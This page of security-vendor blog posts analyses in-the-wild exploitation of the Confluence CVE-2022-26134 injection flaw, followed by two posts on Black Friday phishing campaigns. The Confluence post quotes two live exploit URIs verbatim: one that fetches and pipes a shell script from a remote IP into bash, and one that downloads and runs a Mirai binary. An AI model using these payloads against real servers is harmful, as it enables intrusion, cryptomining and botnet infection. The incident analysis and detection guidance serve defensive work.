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June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness
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12
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness

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November 28, 2025

From Amazon to Louis Vuitton: How Darktrace Detects Black Friday Phishing Attacks

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Why Black Friday Drives a Surge in Phishing Attacks

In recent years, Black Friday has shifted from a single day of online retail sales and discounts to an extended ‘Black Friday Week’, often preceded by weeks of online hype. During this period, consumers are inundated with promotional emails and marketing campaigns as legitimate retailers compete for attention.

Unsurprisingly, this surge in legitimate communications creates an ideal environment for threat actors to launch targeted phishing campaigns designed to mimic legitimate retail emails. These campaigns often employ social engineering techniques that exploit urgency, exclusivity, and consumer trust in well-known brands, tactics designed to entice recipients into opening emails and clicking on malicious links.

Additionally, given the seasonal nature of Black Friday and the ever-changing habits of consumers, attackers adopt new tactics and register fresh domains each year, rather than reusing domains previously flagged as spam or phishing endpoints. While this may pose a challenge for traditional email security tools, it presents no such difficulty for Darktrace / EMAIL and its anomaly-based approach.

In the days and weeks leading up to ‘Black Friday’, Darktrace observed a spike in sophisticated phishing campaigns targeting consumers, demonstrating how attackers combine phycological manipulation with technical evasion to bypass basic security checks during this high-traffic period. This blog showcases several notable examples of highly convincing phishing emails detected and contained by Darktrace / EMAIL in mid to late November 2025.

Darktrace’s Black Friday Detections

Brand Impersonation: Deal Watchdogs’ Amazon Deals

The impersonation major online retailers has become a common tactic in retail-focused attacks, none more so than Amazon, which ranked as the fourth most impersonated brand in 2024, only behind Microsoft, Apple, Google, and Facebook [1]. Darktrace’s own research found Amazon to be the most mimicked brand, making up 80% of phishing attacks in its analysis of global consumer brands.

When faced with an email that appears to come from a trusted sender like Amazon, recipients are far more likely to engage, increasing the success rate of these phishing campaigns.

In one case observed on November 16, Darktrace detected an email with the subject line “NOW LIVE: Amazon’s Best Early Black Friday Deals on Gadgets Under $60”. The email was sent to a customer by the sender ‘Deal Watchdogs’, in what appeared to be an attempt to masquerade as a legitimate discount-finding platform. No evidence indicated that the company was legitimate. In fact, the threat actor made no attempt to create a convincing name, and the domain appeared to be generated by a domain generation algorithm (DGA), as shown in Figure 2.

Although the email was sent by ‘Deal Watchdogs’, it attempted to impersonate Amazon by featuring realistic branding, including the Amazon logo and a shade of orange similar to that used by them for the ‘CLICK HERE’ button and headline text.

Figure 1: The contents of the email observed by Darktrace, featuring authentic-looking Amazon branding.

Darktrace identified that the email, marked as urgent by the sender, contained a suspicious link to a Google storage endpoint (storage.googleapis[.]com), which had been hidden by the text “CLICK HERE”. If clicked, the link could have led to a credential harvester or served as a delivery vector for a malicious payload hosted on the Google storage platform.

Fortunately, Darktrace immediately identified the suspicious nature of this email and held it before delivery, preventing recipients from ever receiving or interacting with the malicious content.

Figure 2: Darktrace / EMAIL’s detection of the malicious phishing email sent to a customer.

Around the same time, Darktrace detected a similar email attempting to spoof Amazon on another customer’s network with the subject line “Our 10 Favorite Deals on Amazon That Started Today”, also sent by ‘Deal Watchdogs,’ suggesting a broader campaign.

Analysis revealed that this email originated from the domain petplatz[.]com, a fake marketing domain previously linked to spam activity according to open-source intelligence (OSINT) [2].

Brand Impersonation: Louis Vuitton

A few days later, on November 20, Darktrace / EMAIL detected a phishing email attempting to impersonate the luxury fashion brand Louis Vuitton. At first glance, the email, sent under the name ‘Louis Vuitton’ and titled “[Black Friday 2025] Discover Your New Favorite Louis Vuitton Bag – Elegance Starts Here”, appeared to be a legitimate Black Friday promotion. However, Darktrace’s analysis uncovered several red flags indicating a elaborate brand impersonation attempt.

The email was not sent by Louis Vuitton but by rskkqxyu@bookaaatop[.]ru, a Russia-based domain never before observed on the customer’s network. Darktrace flagged this as suspicious, noting that .ru domains were highly unusual for this recipient’s environment, further reinforcing the likelihood of malicious intent. Subsequent analysis revealed that the domain had only recently registered and was flagged as malicious by multiple OSINT sources [3].

Figure 3: Darktrace / EMAIL’s detection of the malicious email attempting to spoofLouis Vuitton, originating from a suspicious Russia-based domain.

Darktrace further noted that the email contained a highly suspicious link hidden behind the text “View Collection” and “Unsubscribe,” ensuring that any interaction, whether visiting the supposed ‘handbag store’ or attempting to opt out of marketing emails, would direct recipients to the same endpoint. The link resolved to xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф), a domain confirmed as malicious by multiple OSINT sources [4]. At the time of analysis, the domain was inaccessible, likely due to takedown efforts or the short-lived nature of the campaign.

Darktrace / EMAIL blocked this email before it reached customer inboxes, preventing recipients from interacting with the malicious content and averting any disruption.

Figure 4: The suspicious domain linked in the Louis Vuitton phishing email, now defunct.

Too good to be true?

Aside from spoofing well-known brands, threat actors frequently lure consumers with “too good to be true” luxury offers, a trend Darktrace observed in multiple cases throughout November.

In one instance, Darktrace identified an email with the subject line “[Black Friday 2025] Luxury Watches Starting at $250.” Emails contained a malicious phishing link, hidden behind text like “Rolex Starting from $250”, “Shop Now”, and “Unsubscribe”.

Figure 5: Example of a phishing email detected by Darktrace, containing malicious links concealed behind seemingly innocuous text.

Similarly to the Louis Vuitton email campaign described above, this malicious link led to a .ru domain (hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html), which had been flagged as malicious by multiple sources [5].

Figure 6: Darktrace / EMAIL’s detection of a malicious email promoting a fake luxury watch store, which was successfully held from recipient inboxes.

If accessed, this domain would redirect users to luxy-rox[.]com, a recently created domain (15 days old at the time of writing) that has also been flagged as malicious by OSINT sources [6]. When visited, the redirect domain displayed a convincing storefront advertising high-end watches at heavily discounted prices.

Figure 7: The fake storefront presented upon visiting the redirectdomain, luxy-rox[.]com.

Although the true intent of this domain could not be confirmed, it was likely a scam site or a credential-harvesting operation, as users were required to create an account to complete a purchase. As of the time or writing, the domain in no longer accessible .

This email illustrates a layered evasion tactic: attackers employed multiple domains, rapid domain registration, and concealed redirects to bypass detection. By leveraging luxury branding and urgency-driven discounts, the campaign sought to exploit seasonal shopping behaviors and entice victims into clicking.

Staying Protected During Seasonal Retail Scams

The investigation into these Black Friday-themed phishing emails highlights a clear trend: attackers are exploiting seasonal shopping events with highly convincing campaigns. Common tactics observed include brand impersonation (Amazon, Louis Vuitton, luxury watch brands), urgency-driven subject lines, and hidden malicious links often hosted on newly registered domains or cloud services.

These campaigns frequently use redirect chains, short-lived infrastructure, and psychological hooks like exclusivity and luxury appeal to bypass user scepticism and security filters. Organizations should remain vigilant during retail-heavy periods, reinforcing user awareness training, link inspection practices, and anomaly-based detection to mitigate these evolving threats.

Credit to Ryan Traill (Analyst Content Lead) and Owen Finn (Cyber Analyst)

Appendices

References

1.        https://keepnetlabs.com/blog/top-5-most-spoofed-brands-in-2024

2.        https://www.virustotal.com/gui/domain/petplatz.com

3.        https://www.virustotal.com/gui/domain/bookaaatop.ru

4.        https://www.virustotal.com/gui/domain/xn--80aaae9btead2a.xn--p1ai

5.        https://www.virustotal.com/gui/url/e2b868a74531cd779d8f4a0e1e610ec7f4efae7c29d8b8ab32c7a6740d770897?nocache=1

6.        https://www.virustotal.com/gui/domain/luxy-rox.com

Indicators of Compromise (IoCs)

IoC – Type – Description + Confidence

petplatz[.]com – Hostname – Spam domain

bookaaatop[.]ru – Hostname – Malicious Domain

xn--80aaae9btead2a[.]xn--p1ai (топааабоок[.]рф) – Hostname - Malicious Domain

hxxps://x.wwwtopsalebooks[.]ru/.../d65fg4er[.]html) – URL – Malicious Domain

luxy-rox[.]com – Hostname -  Malicious Domain

MITRE ATT&CK Mapping  

Tactic – Technique – Sub-Technique  

Initial Access - Phishing – (T1566)  

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About the author
Ryan Traill
Analyst Content Lead

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November 28, 2025

Phishing attacks surge by 620% in the lead-up to Black Friday

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Black Friday deals are rolling in, and so are the phishing scams

As the world gears up for Black Friday and the festive shopping season, inboxes flood with deals and delivery notifications, creating a perfect storm for phishing attackers to strike.

Contributing to the confusion, legitimate brands often rely on similar urgency cues, limited-time offers, and high-volume email campaigns used by scammers, blurring the lines between real deals and malicious lookalikes. While security teams remain extra vigilant during this period, the risk of phishing emails slipping in unnoticed remains high, as does the risk of individuals clicking to take advantage of holiday shopping offers.

Analysis conducted by Darktrace’s global analyst team revealed that phishing attacks taking advantage of Black Friday jumped by 620% in the weeks leading up to the holiday weekend, with the volume of phishing attacks expected to jump a further 20-30% during Black Friday week itself.

First observation: Brand impersonation

Brand impersonation was one of the techniques that stood out, with threat actors creating convincing emails – likely assisted by generative AI – purporting to be from household brands including special offers and promotions.

The week before Thanksgiving (15-21 November) saw 201% more phishing attempts mimicking US retailers than the same week in October, as attackers sought to profit off the back of the busy holiday shopping season. It’s not just about volume, either – attackers are spoofing brands people love to shop with during the holidays. Fake emails that look like they’re from well-known retailers like Macy’s, Walmart, and Target were up by 54% just across last week1. Even so, Amazon is the most impersonated brand, making up 80% of phishing attempts in Darktrace’s analysis of global consumer brands like Apple, Alibaba and Netflix.  

While major brands invest heavily in protecting their organizations and customers from cyber-attacks, impersonation is a complicated area as it falls outside of a brand’s legitimate infrastructure and security remit. Retail brands have a huge attack surface, creating plenty of vectors for impersonation, while fake domains, social profiles, and promotional messages can be created quickly and at scale.

Second observation: Fake marketing domains

One prominent Black Friday phishing campaign observed landing in many inboxes uses fake domains purporting to be from marketing sites, like “Pal.PetPlatz.com” and “Epicbrandmarketing.com”.

These emails tend to operate in one of two ways. Some contain “deals” for luxury items such as Rolex watches or Louis Vuitton handbags, designed to tempt readers into clicking. However, the majority are tied to a made-up brand called Deal Watchdogs, which promotes “can’t-miss” Amazon Black Friday offers – designed to lure readers into acting fast to secure legitimate time-sensitive deals. Any user who clicks a link is taken to a fake Amazon website where they are tricked into inputting sensitive data and payment details.

Third observation: The impact of generative AI

The biggest shift seen in phishing in recent years is how much more convincing scam emails are thanks to generative AI. 27% of phishing emails observed by Darktrace in 2024 contained over 1,000 characters2, suggesting LLM use in their creation. Tools like ChatGPT and Gemini lower the barrier to entry for cyber-criminals, allowing them to create phishing campaigns that humans find it difficult to spot.  

Let’s take a look at a dummy email created by a member of our team without a technical background to illustrate how easy it is to spin up an email that looks and feels like a genuine Black Friday offer. With two prompts, generative AI created a convincing “sale” email that could easily pass as the real thing without requiring any technical skill.

A fake Black Friday deal email created using generative AI, with only two prompts. The image has been pixelated for marketing purposes.

Anyone can now create convincing brand spoofs, and they can do it at scale. That makes it even more important for email users to pause, check the sender, and think before they click.

Why phishing scams hurt consumers and brands

These spoofs don’t just drain shoppers’ bank accounts and grab their personal data. They erode trust, drive people away from real sites, and ultimately hurt brands’ sales. And the fakes keep getting sharper, more convincing, and harder to spot.

Though brands should implement email controls like DMARC to help reduce spoofing, they can’t stop attackers from registering new look-alike domains or using other channels. At the end of the day, human users remain vulnerable to well-crafted scams, particularly when the element of trust from a well-known brand is involved. And while brands can’t prevent all impersonation scams, the fallout can still erode consumer trust and damage their reputation.

In order to limit the impact of these scams, two things need to work together: better education so consumers know when to slow down and look twice, and email security (plus a DMARC solution and an attack surface management tool) that can adapt faster than the attackers – protecting both shoppers and the brands they love.

Tips to stay safe while Black Friday shopping online

On top of retailers implementing robust email security, there are some simple steps shoppers can take to stay safer while shopping this holiday season.

  • Check every website (twice). Scammers make tiny changes you can barely see. They’ll switch Walmart.com for Waimart.com and most people won’t notice. If something looks even slightly off, check the URL carefully and, if you’re unsure, search for reviews of that exact address.
  • Santa keeps the real gifts in the workshop. Don’t just click through from sales emails. Use them as a prompt to log in directly to the official app or site, where any genuine notifications will appear.
  • Look at the payment options. Real retailers usually offer a handful of recognizable ways to pay; if a site pushes only odd methods or upfront transfers, don’t use it.
  • Be skeptical of Christmas miracles. If a deal on a big-ticket item looks too good to be true, it usually is.
  • Leave the rushing to the elves. Countdown timers and “last chance” banners are designed to make you click before you think. Take a breath, double-check the sender and the site, and then decide whether to buy.

Email security you can trust this holiday season

The heightened holiday shopping season shines a spotlight on an uncomfortable reality: now that phishing emails are harder than ever to distinguish from legitimate brand communication, traditional spam filters and Secure Email Gateways struggle to keep up. In order to protect against communication-based attacks, organizations require email security that can evaluate the full context of an email – not just surface-level indicators – and stop malicious messages before they reach inboxes.

Darktrace / EMAIL uses Self-Learning AI to understand the behavior and patterns of every user, so it can detect the subtle inconsistencies that reveal a message isn’t genuine, from shifts in tone and writing style to unexpected links, unfamiliar senders, or off-brand visual cues. By identifying these anomalies automatically – and either holding them entirely, or neutralizing malicious elements – it removes the burden from employees to catch near-imperceptible errors and reinforces protection for the entire organization, from staff to customers to brand reputation.

Join our live broadcast on 9 December, where Darktrace will reveal new, industry-first innovations in email security keeping organizations safe this Christmas – from DMARC to DLP. Sign up to the live launch event now.

For a deeper dive into some specific Black Friday phishing campaigns surfaced by the Darktrace threat analysis team, read the follow-up blog here.

A note on methodology

Insights derive from anonymous live data across 6,500 customers protected by Darktrace / EMAIL. Darktrace created models tracking verified phishing emails that:

  • Explicitly mentioned Black Friday
  • Impersonated US retailers popular during the holiday season (Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers)
  • Impersonated major global brands (Apple, eBay, Netflix, Alibaba and PayPal)

Tracking ran from October 1 to November 21.

References

[1] Based on live tracking of phishing emails spoofing Walmart, Target, Best Buy, Macy's, Old Navy, 1800-Flowers across email inboxes protected by Darktrace.  November 15 – November 21, 2025

[2] Based on analysis of 30.4 million phishing emails between December 21, 2023, and December 18, 2024. Darktrace Annual Threat Report 2024.

[related-resource]

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About the author
Carlos Gray
Senior Product Marketing Manager, Email
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